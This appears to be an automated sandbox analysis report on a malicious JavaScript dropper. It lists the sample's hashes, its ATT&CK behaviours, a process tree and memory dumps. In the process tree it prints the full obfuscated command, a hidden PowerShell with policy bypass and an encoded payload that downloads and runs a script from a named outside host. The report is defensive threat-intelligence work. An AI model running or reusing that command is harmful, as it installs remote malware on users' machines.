0c40462e298ec3b262498d1db189d4e2915bf07c80e40981fc43914a0bc7266a

Analysis

max time kernel
94s
max time network
128s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
15/04/2024, 13:08

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General

Target

2021APT-28_86826453.js
Size

100KB
MD5

29a76c5fdb5147c66092d0f4e424ec80
SHA1

ede9d41990fc808a17021f351fc7583720a4e5f1
SHA256

cc006ebbcc9dafa2056bdef21d69836a9b46d9accc6080b93e768a98397e9afa
SHA512

1c6607b0862d28b7d6634cb84b1acaa86dbca32d05bf346594c739ea154ed957d694caf8887cf1a6254048620c9bfdc6d9159f46936b8b4126f11b962c04e5a1
SSDEEP

3072:59Ry98guHVBqqg2bcruzUHmLKeMMU7GwbWBPwVGWl9SZ8kV8Gd5bzIvt/4g5eaXd:59Ry9RuXqW4SzUHmLKeMMU7GwWBPwVGU

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://smart-integrator.hr/pornhub.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	5024	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1132431369-515282257-1998160155-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5024	powershell.exe
5024	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5024	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1568 wrote to memory of 3536	1568	wscript.exe	84
PID 1568 wrote to memory of 3536	1568	wscript.exe	84
PID 3536 wrote to memory of 5024	3536	cmd.exe	86
PID 3536 wrote to memory of 5024	3536	cmd.exe	86

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2021APT-28_86826453.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5024

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j1ebqyno.1n0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/5024-1-0x0000026DA7EB0000-0x0000026DA7ED2000-memory.dmp

Filesize
136KB

Download
memory/5024-11-0x00007FFE086F0000-0x00007FFE091B1000-memory.dmp

Filesize
10.8MB

Download
memory/5024-12-0x0000026DC00B0000-0x0000026DC00C0000-memory.dmp

Filesize
64KB

Download
memory/5024-13-0x0000026DC00B0000-0x0000026DC00C0000-memory.dmp

Filesize
64KB

Download
memory/5024-14-0x0000026DC00B0000-0x0000026DC00C0000-memory.dmp

Filesize
64KB

Download
memory/5024-17-0x00007FFE086F0000-0x00007FFE091B1000-memory.dmp

Filesize
10.8MB

Download